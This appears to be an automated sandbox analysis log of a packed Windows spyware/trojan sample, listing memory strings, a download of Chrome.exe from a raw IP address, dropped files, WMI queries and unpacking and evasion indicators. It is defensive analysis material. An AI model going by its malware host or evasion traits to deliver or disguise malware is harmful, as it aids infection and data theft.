Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: 84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15V
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: 84Xhvb840M.exe, 00000000.00000002.341549842.0000000003DA9000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
Source: 84Xhvb840M.exe, 00000000.00000002.341549842.0000000003DA9000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341099277.000000000397C000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23Response
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24Response
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341497974.0000000003D45000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341497974.0000000003D45000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: 84Xhvb840M.exe, 00000000.00000002.342367539.00000000049A8000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341952023.0000000004937000.00000004.00000001.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: 84Xhvb840M.exe, 00000000.00000002.342367539.00000000049A8000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341952023.0000000004937000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 84Xhvb840M.exe, 00000000.00000002.342367539.00000000049A8000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341952023.0000000004937000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 84Xhvb840M.exe, 00000000.00000002.342367539.00000000049A8000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341952023.0000000004937000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 84Xhvb840M.exe, 00000000.00000002.342367539.00000000049A8000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341952023.0000000004937000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 84Xhvb840M.exe, 00000000.00000002.342367539.00000000049A8000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341952023.0000000004937000.00000004.00000001.sdmp	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: 84Xhvb840M.exe, 00000000.00000002.342367539.00000000049A8000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341952023.0000000004937000.00000004.00000001.sdmp	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 84Xhvb840M.exe, 00000000.00000002.342367539.00000000049A8000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341952023.0000000004937000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: global traffic

HTTP traffic detected: GET /Chrome.exe HTTP/1.1Host: 94.250.250.30Connection: Keep-Alive

Source: 84Xhvb840M.exe, 00000000.00000002.336599037.0000000000AFA000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary:

PE file has nameless sections

Show sources

Source: 84Xhvb840M.exe	Static PE information: section name:
Source: 84Xhvb840M.exe	Static PE information: section name:
Source: 84Xhvb840M.exe	Static PE information: section name:
Source: 84Xhvb840M.exe	Static PE information: section name:
Source: 84Xhvb840M.exe	Static PE information: section name:
Source: 84Xhvb840M.exe	Static PE information: section name:

Source: 84Xhvb840M.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_0068808A	0_2_0068808A
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_00688134	0_2_00688134
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_006282FB	0_2_006282FB
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_00623B68	0_2_00623B68
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_0064A48D	0_2_0064A48D
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_005D7DFF	0_2_005D7DFF
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_005E7DFD	0_2_005E7DFD
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_005CFDE7	0_2_005CFDE7
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_005CDE01	0_2_005CDE01
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_005D9E36	0_2_005D9E36
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_005D1E33	0_2_005D1E33
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_005DBF06	0_2_005DBF06
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_005E3F99	0_2_005E3F99

Source: 84Xhvb840M.exe, 00000000.00000002.336614400.0000000000B18000.00000004.00000020.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs 84Xhvb840M.exe
Source: 84Xhvb840M.exe, 00000000.00000002.336050056.0000000000442000.00000080.00020000.sdmp	Binary or memory string: OriginalFilenameW2gUpyDh4 vs 84Xhvb840M.exe
Source: 84Xhvb840M.exe, 00000000.00000002.336029416.0000000000438000.00000040.00020000.sdmp	Binary or memory string: OriginalFilenameBowsprit.exe4 vs 84Xhvb840M.exe
Source: 84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	Binary or memory string: OriginalFilename vs 84Xhvb840M.exe
Source: 84Xhvb840M.exe, 00000000.00000002.336773347.0000000000D51000.00000040.00000001.sdmp	Binary or memory string: OriginalFilename vs 84Xhvb840M.exe
Source: 84Xhvb840M.exe, 00000000.00000002.336773347.0000000000D51000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenameSV vs 84Xhvb840M.exe
Source: 84Xhvb840M.exe, 00000000.00000003.272497046.0000000000CF0000.00000004.00000001.sdmp	Binary or memory string: OriginalFilename vs 84Xhvb840M.exe
Source: 84Xhvb840M.exe, 00000000.00000003.272497046.0000000000CF0000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameSV vs 84Xhvb840M.exe
Source: 84Xhvb840M.exe	Binary or memory string: OriginalFilenameW2gUpyDh4 vs 84Xhvb840M.exe

Source: 84Xhvb840M.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0

Source: 84Xhvb840M.exe	Static PE information: Section: ZLIB complexity 1.00040643064
Source: 84Xhvb840M.exe	Static PE information: Section: ZLIB complexity 1.0107421875
Source: 84Xhvb840M.exe	Static PE information: Section: ZLIB complexity 1.0107421875
Source: 84Xhvb840M.exe	Static PE information: Section: ZLIB complexity 1.021484375

Source: 84Xhvb840M.exe	Virustotal: Detection: 33%
Source: 84Xhvb840M.exe	Metadefender: Detection: 38%
Source: 84Xhvb840M.exe	ReversingLabs: Detection: 78%

Source: C:\Users\user\Desktop\84Xhvb840M.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\84Xhvb840M.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\84Xhvb840M.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\Desktop\84Xhvb840M.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\84Xhvb840M.exe

File created: C:\Users\user\AppData\Local\Yandex

Jump to behavior

Source: C:\Users\user\Desktop\84Xhvb840M.exe

File created: C:\Users\user\AppData\Local\Temp\Chrome.exe

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/1@0/2

Source: C:\Users\user\Desktop\84Xhvb840M.exe

Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Jump to behavior

Source: C:\Users\user\Desktop\84Xhvb840M.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Source: 0.2.84Xhvb840M.exe.400000.0.unpack, ue061.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.84Xhvb840M.exe.400000.0.unpack, ue03d.cs	Cryptographic APIs: 'CreateDecryptor'

Source: 84Xhvb840M.exe

Static file information: File size 1607424 > 1048576

Source: 84Xhvb840M.exe

Static PE information: Raw size of is bigger than: 0x100000 < 0x126600

Source:

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\Desktop\84Xhvb840M.exe

Unpacked PE file: 0.2.84Xhvb840M.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\Desktop\84Xhvb840M.exe

Unpacked PE file: 0.2.84Xhvb840M.exe.400000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.rsrc:EW;Unknown_Section6:EW;.QWly1rx:EW;.adata:EW; vs Unknown_Section0:ER;Unknown_Section1:EW;Unknown_Section2:EW;

.NET source code contains potential unpacker

Show sources

Source: 0.2.84Xhvb840M.exe.400000.0.unpack, ue05f.cs

.Net Code: ? System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])

Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_006B5CFC push eax; ret	0_2_006B5D79
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_006AE866 push edx; mov dword ptr [esp], eax	0_2_006AE911
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_006E2061 push ecx; mov dword ptr [esp], edi	0_2_006E20E9
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_0069D07A push ecx; mov dword ptr [esp], ebx	0_2_0069D073
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_00624079 push edx; mov dword ptr [esp], 206B50F6h	0_2_00624379
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_00624079 push 3863B1B1h; mov dword ptr [esp], esi	0_2_00624653
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_005E6070 push eax; mov dword ptr [esp], 41339E61h	0_2_005E60E3
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_005E6070 push edi; mov dword ptr [esp], ebp	0_2_005E610D
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_005E6070 push esi; mov dword ptr [esp], 00000024h	0_2_005E6136
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_005E6070 push edx; mov dword ptr [esp], 09FF1BC3h	0_2_005E617C
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_005E6070 push edi; mov dword ptr [esp], ebx	0_2_005E6219
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_005E6070 push 727367B7h; mov dword ptr [esp], eax	0_2_005E62B7
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_0062C05B push 69738D1Eh; mov dword ptr [esp], eax	0_2_0062C01F
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_0062C05B push 010F4759h; mov dword ptr [esp], ebx	0_2_0062C055
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_00687852 push 1EBA6AB6h; mov dword ptr [esp], ebp	0_2_0068789D
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_0069A020 push eax; mov dword ptr [esp], esi	0_2_0069A04D
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_0069A020 push ebx; mov dword ptr [esp], eax	0_2_0069A067
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_0069A020 push 6186AC4Ah; mov dword ptr [esp], edx	0_2_0069A0D8
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_006B8027 push ecx; mov dword ptr [esp], 2F07279Bh	0_2_006B803A
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_0069403C push 1D0C423Bh; mov dword ptr [esp], ebp	0_2_00694067
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_0069403C push esi; mov dword ptr [esp], edi	0_2_00694111
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_0062F037 push edx; mov dword ptr [esp], ebp	0_2_0062F04E
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_0064B833 push esi; mov dword ptr [esp], 7F4715ABh	0_2_0064B870
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_0062B007 push 68A38B29h; mov dword ptr [esp], esi	0_2_0062B170
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_0062B007 push edx; mov dword ptr [esp], ebp	0_2_0062B663
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_0062B007 push edi; mov dword ptr [esp], 753A9C2Ah	0_2_0062B9CD
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_006D5002 push esi; mov dword ptr [esp], ebp	0_2_006D5033
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_006D5002 push 5DBDB758h; mov dword ptr [esp], ebx	0_2_006D5056
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_006D5002 push ebp; mov dword ptr [esp], ebx	0_2_006D5071
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_006D5002 push ebp; mov dword ptr [esp], 1EAE0ABBh	0_2_006D5089
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Code function: 0_2_006B7815 push eax; mov dword ptr [esp], ebx	0_2_006B780E

Source: 84Xhvb840M.exe	Static PE information: section name:
Source: 84Xhvb840M.exe	Static PE information: section name:
Source: 84Xhvb840M.exe	Static PE information: section name:
Source: 84Xhvb840M.exe	Static PE information: section name:
Source: 84Xhvb840M.exe	Static PE information: section name:
Source: 84Xhvb840M.exe	Static PE information: section name:
Source: 84Xhvb840M.exe	Static PE information: section name: .QWly1rx
Source: 84Xhvb840M.exe	Static PE information: section name: .adata

Source: 84Xhvb840M.exe

Static PE information: real checksum: 0x3aa0b3 should be: 0x1950c3

Source: initial sample	Static PE information: section name: entropy: 7.99802724381
Source: initial sample	Static PE information: section name: entropy: 7.77053321914
Source: initial sample	Static PE information: section name: entropy: 7.80942798026
Source: initial sample	Static PE information: section name: entropy: 7.57592238998
Source: initial sample	Static PE information: section name: .QWly1rx entropy: 7.91678620478

Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
